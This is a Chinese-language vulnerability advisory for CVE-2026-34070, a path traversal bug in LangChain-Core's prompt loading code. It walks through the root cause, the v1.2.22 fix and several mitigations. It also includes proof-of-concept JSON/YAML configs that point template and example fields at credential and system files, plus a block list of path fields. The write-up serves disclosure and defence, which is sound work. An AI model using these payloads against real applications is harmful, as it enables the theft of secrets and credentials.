当前位置: 首页 > news >正文

CVE-2026-34070 LangChain-Core路径遍历漏洞,任意文件读取附PoC

LangChain-Core 1.2.21 及更早版本中,langchain_core.prompts.loading 模块存在严重的路径遍历漏洞。该模块的 Prompt 加载功能 (load_prompt()、load_prompt_from_config()) 在从 JSON/YAML 配置文件中加载 Prompt 模板时,直接使用配置中指定的文件路径读取文件内容,未对路径进行任何安全验证。

  1. 漏洞描述

LangChain-Core 1.2.21 及更早版本中,langchain_core.prompts.loading模块存在严重的路径遍历漏洞。该模块的 Prompt 加载功能 (load_prompt()load_prompt_from_config()) 在从 JSON/YAML 配置文件中加载 Prompt 模板时,直接使用配置中指定的文件路径读取文件内容,未对路径进行任何安全验证

漏洞核心由三层关键缺陷构成:

  1. _load_template()无路径验证:直接通过Path(config.pop("template_path")).read_text()读取任意路径的文件内容,不检查是否为绝对路径或包含..目录遍历序列。
  2. _load_examples()无路径验证:直接通过Path(config["examples"]).open()打开任意路径的 JSON/YAML 文件,攻击者可以读取任意.json.yaml/.yml文件内容。
  3. _load_few_shot_prompt()嵌套加载无验证example_prompt_path字段允许指定任意路径加载嵌套的 Prompt 配置,且递归调用load_prompt()进一步扩大攻击面。

攻击者可以构造恶意的 Prompt 配置文件(JSON/YAML),通过template_pathexamplesexample_prompt_path等字段指向系统敏感文件(如/etc/passwd/etc/shadow、环境变量文件、SSH 密钥、数据库凭证等),当应用程序使用load_prompt()load_prompt_from_config()加载该配置时,敏感文件内容将被读取并注入到 Prompt 模板中,导致任意文件读取


  1. 系统架构概述

2.1 Prompt 配置加载模型

LangChain-Core 提供两种 Prompt 配置加载方式:

Prompt 配置加载入口 load_prompt(path) ← 从文件路径加载 Prompt 配置 load_prompt_from_config(config) ← 从 dict 加载 Prompt 配置 ↓ _load_prompt(config) ← 普通 Prompt (type: "prompt") _load_few_shot_prompt(config) ← Few-Shot Prompt (type: "few_shot") _load_chat_prompt(config) ← Chat Prompt (type: "chat")

2.2 关键目录结构

langchain-core-1.2.21/libs/core/ ├── langchain_core/ │ ├── prompts/ │ │ ├── __init__.py │ │ ├── base.py # BasePromptTemplate (含 save() 方法) │ │ ├── chat.py # ChatPromptTemplate │ │ ├── few_shot.py # FewShotPromptTemplate │ │ ├── few_shot_with_templates.py # FewShotPromptWithTemplates │ │ ├── loading.py # 漏洞核心文件 (load_prompt / load_prompt_from_config) │ │ ├── prompt.py # PromptTemplate │ │ └── string.py # StringPromptTemplate

2.3 涉及数据模型

Prompt 配置格式 —_type: "prompt"(普通模板)
{ "_type": "prompt", "input_variables": ["query"], "template": "Answer: {query}", "template_path": "../../etc/passwd" // ★ 攻击向量 1 }
Prompt 配置格式 —_type: "few_shot"(Few-Shot 模板)
{ "_type": "few_shot", "input_variables": ["query"], "prefix": "Examples:", "suffix": "Query: {query}", "example_prompt": { "_type": "prompt", ... }, "examples": "/etc/shadow", // ★ 攻击向量 2 (读取任意 .json/.yaml) "example_prompt_path": "/etc/config.json", // ★ 攻击向量 3 "prefix_path": "../../sensitive.txt", // ★ 攻击向量 4 "suffix_path": "../../secret.txt" // ★ 攻击向量 5 }

  1. 漏洞根因分析 (三个缺陷)

3.1 缺陷一:_load_template()直接从用户指定路径读取文件

文件:libs/core/langchain_core/prompts/loading.py:44-61

def _load_template(var_name: str, config: dict) -> dict: """Load template from the path if applicable.""" # Check if template_path exists in config. if f"{var_name}_path" in config: # If it does, make sure template variable doesn't also exist. if var_name in config: msg = f"Both `{var_name}_path` and `{var_name}` cannot be provided." raise ValueError(msg) # Pop the template path from the config. template_path = Path(config.pop(f"{var_name}_path")) # 无任何路径验证! # Load the template. if template_path.suffix == ".txt": template = template_path.read_text(encoding="utf-8") # 任意 .txt 文件读取! else: raise ValueError # Set the template variable to the extracted variable. config[var_name] = template # 文件内容直接注入 Prompt 模板 return config

缺陷

1.Path(config.pop("template_path"))无验证:接受绝对路径如/etc/passwd

2.无..遍历检查:接受../../etc/passwd等遍历路径;

3.template_path.read_text()直接读取:文件内容被注入到 Prompt 模板中;

4.仅限.txt后缀:可读取任何.txt文件 (日志、配置、密钥等);

5.该函数被多处调用:template_pathprefix_pathsuffix_path均可利用。


3.2 缺陷二 :_load_examples()从用户指定路径读取 JSON/YAML 文件

文件:libs/core/langchain_core/prompts/loading.py:64-82

def _load_examples(config: dict) -> dict: """Load examples if necessary.""" if isinstance(config["examples"], list): pass elif isinstance(config["examples"], str): path = Path(config["examples"]) # 无任何路径验证 with path.open(encoding="utf-8") as f: # 任意文件打开 if path.suffix == ".json": examples = json.load(f) # 读取任意 .json 文件 elif path.suffix in {".yaml", ".yml"}: examples = yaml.safe_load(f) # 读取任意 .yaml 文件 else: msg = "Invalid file format. Only json or yaml formats are supported." raise ValueError(msg) config["examples"] = examples # 文件内容注入配置 else: msg = "Invalid examples format. Only list or string are supported." raise ValueError(msg) return config

缺陷

1.Path(config["examples"])无验证:接受绝对路径和..遍历;

2.支持.json.yaml/.yml:攻击面更广,可读取配置文件、Kubernetes 配置等;

3.json.load(f)/yaml.safe_load(f):文件内容被解析后返回,可暴露结构化数据;

4.返回数据注入config["examples"]:敏感数据可能出现在后续 LLM 调用中。


5.3 缺陷三:_load_few_shot_prompt()嵌套路径加载无验证

文件:libs/core/langchain_core/prompts/loading.py:95-114

def _load_few_shot_prompt(config: dict) -> FewShotPromptTemplate: """Load the "few shot" prompt from the config.""" # Load the suffix and prefix templates. config = _load_template("suffix", config) # suffix_path 可被利用 config = _load_template("prefix", config) # prefix_path 可被利用 # Load the example prompt. if "example_prompt_path" in config: if "example_prompt" in config: msg = ( "Only one of example_prompt and example_prompt_path should " "be specified." ) raise ValueError(msg) config["example_prompt"] = load_prompt(config.pop("example_prompt_path")) # 递归加载 else: config["example_prompt"] = load_prompt_from_config(config["example_prompt"]) # Load the examples. config = _load_examples(config) # examples 路径可被利用 config = _load_output_parser(config) return FewShotPromptTemplate(**config)

缺陷

1._load_template("suffix", config)suffix_path字段可指向任意.txt文件

2._load_template("prefix", config)prefix_path字段可指向任意.txt文件

3.load_prompt(config.pop("example_prompt_path"))递归调用,可加载任意路径的 JSON/YAML 配置文件

4._load_examples(config)examples字段可指向任意.json/.yaml文件


3.4 入口函数无路径保护

文件:libs/core/langchain_core/prompts/loading.py:20-41,137-157, 160-177

load_prompt()— 公共 API 入口
def load_prompt(path: str | Path, encoding: str | None = None) -> BasePromptTemplate: """Unified method for loading a prompt from LangChainHub or local filesystem.""" if isinstance(path, str) and path.startswith("lc://"): msg = "Loading from the deprecated github-based Hub is no longer supported..." raise RuntimeError(msg) return _load_prompt_from_file(path, encoding) # 直接传递,无任何路径验证

_load_prompt_from_file()— 文件加载
def _load_prompt_from_file( file: str | Path, encoding: str | None = None ) -> BasePromptTemplate: """Load prompt from file.""" file_path = Path(file) if file_path.suffix == ".json": with file_path.open(encoding=encoding) as f: config = json.load(f) # 解析 JSON 配置 elif file_path.suffix.endswith((".yaml", ".yml")): with file_path.open(encoding=encoding) as f: config = yaml.safe_load(f) # 解析 YAML 配置 else: msg = f"Got unsupported file type {file_path.suffix}" raise ValueError(msg) return load_prompt_from_config(config) # 配置中的路径字段均无验证

load_prompt_from_config()— 配置分发
def load_prompt_from_config(config: dict) -> BasePromptTemplate: """Load prompt from config dict.""" if "_type" not in config: logger.warning("No `_type` key found, defaulting to `prompt`.") config_type = config.pop("_type", "prompt") if config_type not in type_to_loader_dict: msg = f"Loading {config_type} prompt not supported" raise ValueError(msg) prompt_loader = type_to_loader_dict[config_type] return prompt_loader(config) # 分发到 _load_prompt / _load_few_shot_prompt # 无 allow_dangerous_paths 保护


  1. 完整攻击链

Step 1: 构造恶意 Prompt 配置文件

创建包含路径遍历字段的 JSON/YAML 文件: { "_type": "prompt", "input_variables": [], "template_path": "/etc/passwd" }

Step 2: 触发 Prompt 加载

通过应用接口提交恶意配置: - 上传恶意 Prompt 配置文件 - 通过 API 传递恶意 config dict - 通过 LLM Agent 工具调用触发加载

Step 3: 服务端处理链

loading.py:137 -> load_prompt(path) loading.py:157 -> _load_prompt_from_file(path) loading.py:169 -> config = json.load(f) loading.py:177 -> load_prompt_from_config(config) loading.py:40 -> prompt_loader = _load_prompt loading.py:41 -> _load_prompt(config) loading.py:120 -> _load_template("template", config) loading.py:53 -> template_path = Path("/etc/passwd") loading.py:56 -> template_path.read_text() ## 敏感文件在此被读取

  1. 关键函数调用链

5.1 攻击入口函数 —load_prompt()

文件:libs/core/langchain_core/prompts/loading.py:137-157

def load_prompt(path: str | Path, encoding: str | None = None) -> BasePromptTemplate: """Unified method for loading a prompt from LangChainHub or local filesystem.""" if isinstance(path, str) and path.startswith("lc://"): msg = ( "Loading from the deprecated github-based Hub is no longer supported. " "Please use the new LangChain Hub at https://smith.langchain.com/hub " "instead." ) raise RuntimeError(msg) return _load_prompt_from_file(path, encoding) # 无路径验证直接传递

5.2 文件加载 —_load_prompt_from_file()

文件:libs/core/langchain_core/prompts/loading.py:160-177

def _load_prompt_from_file( file: str | Path, encoding: str | None = None ) -> BasePromptTemplate: """Load prompt from file.""" file_path = Path(file) if file_path.suffix == ".json": with file_path.open(encoding=encoding) as f: config = json.load(f) # 解析攻击者控制的 JSON elif file_path.suffix.endswith((".yaml", ".yml")): with file_path.open(encoding=encoding) as f: config = yaml.safe_load(f) # 解析攻击者控制的 YAML else: msg = f"Got unsupported file type {file_path.suffix}" raise ValueError(msg) return load_prompt_from_config(config) # 配置中路径字段不受限

5.3 配置分发 —load_prompt_from_config()

文件:libs/core/langchain_core/prompts/loading.py:20-41

def load_prompt_from_config(config: dict) -> BasePromptTemplate: """Load prompt from config dict.""" if "_type" not in config: logger.warning("No `_type` key found, defaulting to `prompt`.") config_type = config.pop("_type", "prompt") if config_type not in type_to_loader_dict: msg = f"Loading {config_type} prompt not supported" raise ValueError(msg) prompt_loader = type_to_loader_dict[config_type] return prompt_loader(config) # 无 allow_dangerous_paths

5.4 Sink 点 1 —_load_template()

文件:libs/core/langchain_core/prompts/loading.py:44-61

def _load_template(var_name: str, config: dict) -> dict: if f"{var_name}_path" in config: if var_name in config: raise ValueError(...) template_path = Path(config.pop(f"{var_name}_path")) # 无验证 if template_path.suffix == ".txt": template = template_path.read_text(encoding="utf-8") # SINK: 任意文件读取 else: raise ValueError config[var_name] = template # 内容注入模板 return config

5.5 Sink 点 2 —_load_examples()

文件:libs/core/langchain_core/prompts/loading.py:64-82

def _load_examples(config: dict) -> dict: if isinstance(config["examples"], list): pass elif isinstance(config["examples"], str): path = Path(config["examples"]) # 无验证 with path.open(encoding="utf-8") as f: # SINK: 任意文件打开 if path.suffix == ".json": examples = json.load(f) elif path.suffix in {".yaml", ".yml"}: examples = yaml.safe_load(f) config["examples"] = examples # 内容注入配置 return config

5.6 Sink 点 3 —_load_few_shot_prompt()中的递归加载

文件:libs/core/langchain_core/prompts/loading.py:95-114

def _load_few_shot_prompt(config: dict) -> FewShotPromptTemplate: config = _load_template("suffix", config) # SINK via suffix_path config = _load_template("prefix", config) # SINK via prefix_path if "example_prompt_path" in config: config["example_prompt"] = load_prompt( config.pop("example_prompt_path") # SINK: 递归加载任意配置文件 ) else: config["example_prompt"] = load_prompt_from_config(config["example_prompt"]) config = _load_examples(config) # SINK via examples path config = _load_output_parser(config) return FewShotPromptTemplate(**config)


  1. 修复版本 ( v1.2.22 )

6.1 核心修复:新增_validate_path()函数

文件:libs/core/langchain_core/prompts/loading.py(v1.2.22 新增)

def _validate_path(path: Path) -> None: """Reject absolute paths and ``..`` traversal components. Args: path: The path to validate. Raises: ValueError: If the path is absolute or contains ``..`` components. """ if path.is_absolute(): msg = ( f"Path '{path}' is absolute. Absolute paths are not allowed " f"when loading prompt configurations to prevent path traversal " f"attacks. Use relative paths instead, or pass " f"`allow_dangerous_paths=True` if you trust the input." ) raise ValueError(msg) if ".." in path.parts: msg = ( f"Path '{path}' contains '..' components. Directory traversal " f"sequences are not allowed when loading prompt configurations. " f"Use direct relative paths instead, or pass " f"`allow_dangerous_paths=True` if you trust the input." ) raise ValueError(msg)

6.2 修复点

修复点 1:_load_template()增加路径验证
- def _load_template(var_name: str, config: dict) -> dict: + def _load_template( + var_name: str, config: dict, *, allow_dangerous_paths: bool = False + ) -> dict: """Load template from the path if applicable.""" if f"{var_name}_path" in config: if var_name in config: raise ValueError(...) template_path = Path(config.pop(f"{var_name}_path")) + if not allow_dangerous_paths: + _validate_path(template_path) # 新增路径验证 if template_path.suffix == ".txt": template = template_path.read_text(encoding="utf-8")

修复点 2:_load_examples()增加路径验证
- def _load_examples(config: dict) -> dict: + def _load_examples(config: dict, *, allow_dangerous_paths: bool = False) -> dict: """Load examples if necessary.""" if isinstance(config["examples"], list): pass elif isinstance(config["examples"], str): path = Path(config["examples"]) + if not allow_dangerous_paths: + _validate_path(path) # 新增路径验证 with path.open(encoding="utf-8") as f:

修复点 3:_load_few_shot_prompt()增加路径验证
- def _load_few_shot_prompt(config: dict) -> FewShotPromptTemplate: + def _load_few_shot_prompt( + config: dict, *, allow_dangerous_paths: bool = False + ) -> FewShotPromptTemplate: # ... - config = _load_template("suffix", config) - config = _load_template("prefix", config) + config = _load_template("suffix", config, allow_dangerous_paths=allow_dangerous_paths) + config = _load_template("prefix", config, allow_dangerous_paths=allow_dangerous_paths) if "example_prompt_path" in config: - config["example_prompt"] = load_prompt(config.pop("example_prompt_path")) + example_prompt_path = Path(config.pop("example_prompt_path")) + if not allow_dangerous_paths: + _validate_path(example_prompt_path) # 新增路径验证 + config["example_prompt"] = load_prompt( + example_prompt_path, allow_dangerous_paths=allow_dangerous_paths + )

修复点 4:load_prompt_from_config()增加allow_dangerous_paths参数
+ @deprecated(since="1.2.21", removal="2.0.0", ...) - def load_prompt_from_config(config: dict) -> BasePromptTemplate: + def load_prompt_from_config( + config: dict, *, allow_dangerous_paths: bool = False + ) -> BasePromptTemplate: # ... prompt_loader = type_to_loader_dict[config_type] - return prompt_loader(config) + return prompt_loader(config, allow_dangerous_paths=allow_dangerous_paths)

修复点 5:load_prompt()增加allow_dangerous_paths参数
+ @deprecated(since="1.2.21", removal="2.0.0", ...) - def load_prompt(path: str | Path, encoding: str | None = None) -> BasePromptTemplate: + def load_prompt( + path: str | Path, + encoding: str | None = None, + *, + allow_dangerous_paths: bool = False, + ) -> BasePromptTemplate: # ... - return _load_prompt_from_file(path, encoding) + return _load_prompt_from_file( + path, encoding, allow_dangerous_paths=allow_dangerous_paths + )


  1. 漏洞利用方式 (PoC)

7.1 条件

  1. 目标应用使用 langchain-core 版本 <= 1.2.21
  2. 目标应用调用了load_prompt()load_prompt_from_config()处理用户可控的配置
  3. 攻击者能够提交/上传恶意 Prompt 配置文件,或直接提供恶意 config dict

7.2 PoC类型

PoC 1: 通过template_path读取系统文件

恶意配置文件(malicious_prompt.json):

{ "_type": "prompt", "input_variables": [], "template_path": "/etc/passwd" }

注意:_load_template()要求文件后缀为.txt,因此直接读取/etc/passwd会因后缀检查失败。可通过.txt后缀的敏感文件利用,或结合符号链接绕过。

针对.txt后缀限制的有效目标:

{ "_type": "prompt", "input_variables": [], "template_path": "/app/.env.txt" }

利用代码(在使用 langchain-core <= 1.2.21 的应用中):

from langchain_core.prompts.loading import load_prompt # 攻击者上传的恶意配置文件 prompt = load_prompt("malicious_prompt.json") print(prompt.template) # 输出目标文件内容
PoC 2: 通过examples路径读取 JSON/YAML 文件

恶意配置文件(steal_config.json):

{ "_type": "few_shot", "input_variables": ["query"], "prefix": "Examples:", "suffix": "Query: {query}", "example_prompt": { "_type": "prompt", "input_variables": ["input", "output"], "template": "{input}: {output}" }, "examples": "/app/config/database.json" }

利用代码:

from langchain_core.prompts.loading import load_prompt prompt = load_prompt("steal_config.json") # prompt.examples 现在包含 /app/config/database.json 的内容 print(prompt.examples) # 泄露数据库配置、凭证等
PoC 3: 通过..目录遍历读取敏感文件

恶意配置文件(traversal.json):

{ "_type": "few_shot", "input_variables": ["query"], "prefix": "Examples:", "suffix": "Query: {query}", "example_prompt": { "_type": "prompt", "input_variables": ["input", "output"], "template": "{input}: {output}" }, "examples": "../../../../.docker/config.json" }
PoC 4: 通过example_prompt_path递归加载配置

恶意配置文件(recursive.json):

{ "_type": "few_shot", "input_variables": ["query"], "prefix": "Examples:", "suffix": "Query: {query}", "example_prompt_path": "/app/secrets/prompt_with_secrets.json", "examples": [{"input": "a", "output": "b"}] }
PoC 5: 组合攻击 — Few-Shot 配置全字段利用

恶意配置文件(full_attack.yaml):

_type: few_shot input_variables: - query prefix_path: "../../app/logs/access.txt" suffix_path: "../../app/secrets/api_keys.txt" example_prompt_path: "/app/config/prompt.json" examples: "/app/config/credentials.json"

此攻击同时利用4 个路径字段读取不同的敏感文件。


  1. 修复方案分析

8.1 推荐升级路径

漏洞版本升级至命令
<= 1.2.211.2.22pip install langchain-core>=1.2.22

8.2 临时缓解措施

如无法立即升级,可按优先级采取以下措施:

缓解 1 : 手工补丁 — 在调用前验证路径
# 在应用层包装 load_prompt 调用 from pathlib import Path def safe_load_prompt(path, base_dir=None): """安全包装,拒绝路径遍历""" path = Path(path) if base_dir: # 确保路径在允许的目录内 resolved = (Path(base_dir) / path).resolve() if not str(resolved).startswith(str(Path(base_dir).resolve())): raise ValueError(f"Path traversal detected: {path}") # 检查配置文件内容中的路径字段 import json with open(path) as f: config = json.load(f) dangerous_fields = ['template_path', 'prefix_path', 'suffix_path', 'example_prompt_path'] for field in dangerous_fields: if field in config: field_path = Path(config[field]) if field_path.is_absolute() or '..' in field_path.parts: raise ValueError(f"Dangerous path in {field}: {config[field]}") if isinstance(config.get('examples'), str): ex_path = Path(config['examples']) if ex_path.is_absolute() or '..' in ex_path.parts: raise ValueError(f"Dangerous examples path: {config['examples']}") from langchain_core.prompts.loading import load_prompt return load_prompt(path)
缓解 2 (迁移): 使用dumpd/load替代save/load_prompt
# 推荐的安全序列化方式 from langchain_core.load import dumpd, load from langchain_core.prompts import PromptTemplate # 序列化 prompt = PromptTemplate.from_template("Hello {name}!") serialized = dumpd(prompt) # 反序列化 restored = load(serialized)
缓解 3: 输入验证
# 拒绝用户上传的配置中的路径字段 BLOCKED_FIELDS = {'template_path', 'prefix_path', 'suffix_path', 'example_prompt_path'} def sanitize_prompt_config(config: dict) -> dict: """移除配置中的所有路径字段""" for field in BLOCKED_FIELDS: if field in config: raise ValueError(f"Field '{field}' is not allowed in user-provided config") if isinstance(config.get('examples'), str): raise ValueError("String 'examples' paths are not allowed") return config
缓解 4 : 文件系统隔离
  • 使用容器化部署,限制文件系统访问范围
  • 使用 AppArmor/SELinux 限制进程的文件读取权限
  • 使用 chroot/namespace 隔离
    • *
  1. 总结

总结发现

  1. 5 个独立的攻击向量template_pathprefix_pathsuffix_pathexamples(字符串路径)、example_prompt_path均可被利用进行路径遍历和任意文件读取。
  2. v1.2.22 已完整修复— 新增_validate_path()函数拒绝绝对路径和..目录遍历,所有路径加载函数新增allow_dangerous_paths参数 (默认False),并将load_prompt/save标记为弃用。
  3. 影响广泛— langchain-core 是 LangChain 生态的基础库,所有使用load_prompt()load_prompt_from_config()加载不可信 Prompt 配置的下游应用均受影响。

任何能够向使用 langchain-core <= 1.2.21 的应用提交恶意 Prompt 配置 (JSON/YAML) 的攻击者,均可通过在template_pathexamplesexample_prompt_pathprefix_pathsuffix_path等字段中指定绝对路径或..遍历序列,读取服务器文件系统上的任意文件内容。

强烈建议立即升级至 langchain-core >= 1.2.22。

http://www.jsqmd.com/news/731661/

相关文章:

  • 擦擦视频行业价值与发展趋势
  • Onyx开源应用框架:一体化全栈开发实践与核心设计解析
  • 【新人必备手册】OpenClaw Windows 11 一键安装实操教程(含安装包)
  • 对比官方价格Taotoken提供的折扣与活动价如何节省成本
  • 终极免费方案:用WeReader浏览器扩展打造你的微信读书笔记系统
  • 别再手动加TXT记录了!用Certbot+DNS插件(阿里云/DNSPod)自动搞定泛域名SSL证书续期
  • 面试高频:Java 项目接入大模型,应该怎么设计统一 AI 网关,这次把关键边界和落地取舍讲透
  • AWDP攻防赛新手避坑指南:从防御异常到稳定拿分的5个实战技巧
  • C++高精度加减乘除算法详解
  • 实测Taotoken多模型在视频创意生成任务中的响应速度与稳定性
  • AutoSubs:打破字幕制作壁垒,让每个创作者都能轻松生成专业级字幕
  • 为AI Agent集成谷歌搜索API:Serper.dev实战指南与性能优化
  • WPR机器人仿真工具:从零开始的ROS开发实战指南
  • 告别混乱!用Python+OpenCV精准锁定USB摄像头,多摄像头切换再也不怕索引错乱
  • Windows HEIC缩略图:从技术痛点破解到系统级扩展
  • Siemens 6SC6100-0GA12电源板
  • ARM SVE2指令集:SQDMLSLT与SQDMULH深度解析
  • 新手入门taotoken从获取apikey到完成第一个python调用示例
  • 深入解析RePKG:Wallpaper Engine资源格式逆向工程与高效处理方案
  • 终极指南:8大网盘直链下载助手LinkSwift完全使用教程
  • JAVA同城服务同城社区家政服务系统源码的JAVA代码示例
  • 3步实现Windows性能提升51%的终极优化指南
  • 5分钟搭建免费开源翻译API:LibreTranslate完全指南
  • 佛山性价比高的高端门窗厂家
  • Win11Debloat终极指南:5分钟让你的Windows系统恢复流畅如新
  • AppImageLauncher完全指南:5步搞定Linux便携应用管理
  • 5分钟搞定RTL8821CE无线网卡驱动:让Linux笔记本WiFi满血复活![特殊字符]
  • Win11Debloat终极优化指南:3档方案实现Windows 10/11性能提升45%的完整教程
  • 从游戏开黑到项目分红:用‘夏普利值’这个经济学公式,解决你身边的公平难题
  • 科研党必备:手把手教你用Python给Sci-Hub下载脚本加个“进度条”和“错误重试”